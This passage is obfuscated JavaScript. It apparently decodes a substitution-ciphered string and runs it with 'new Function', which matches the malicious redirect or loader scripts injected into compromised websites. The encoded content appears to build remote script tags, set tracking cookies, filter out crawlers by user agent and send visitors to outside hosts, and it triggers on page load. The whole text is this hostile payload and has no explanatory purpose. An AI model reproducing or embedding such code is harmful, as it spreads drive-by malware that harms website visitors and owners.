0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm0Y51J({mRT4gQ@{n/CL/@@{jR8hQ^sp)Rs:7"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"hQ^sp)Rs:7"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYms5n6d1qmRT4"="@@{5p(LYpmQLqd0@fmRT4"="@@{D7(LSqms5n6d1qmRT4"="@@{dC(LJ^mQLqd0@fmRT4"="@@{(C(L:4ms5n6d1qmRT4"="@@{C2(LSYmQLqd0@fmRT4"="@@{25(LLSms5n6d1qmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm@dRJDdomRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm@dRJDdomRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm0Y51J({mRT4gQ@{n/f/@@{j(8}vR8hQ^sp)Rs:7"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm0Y51J({mRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();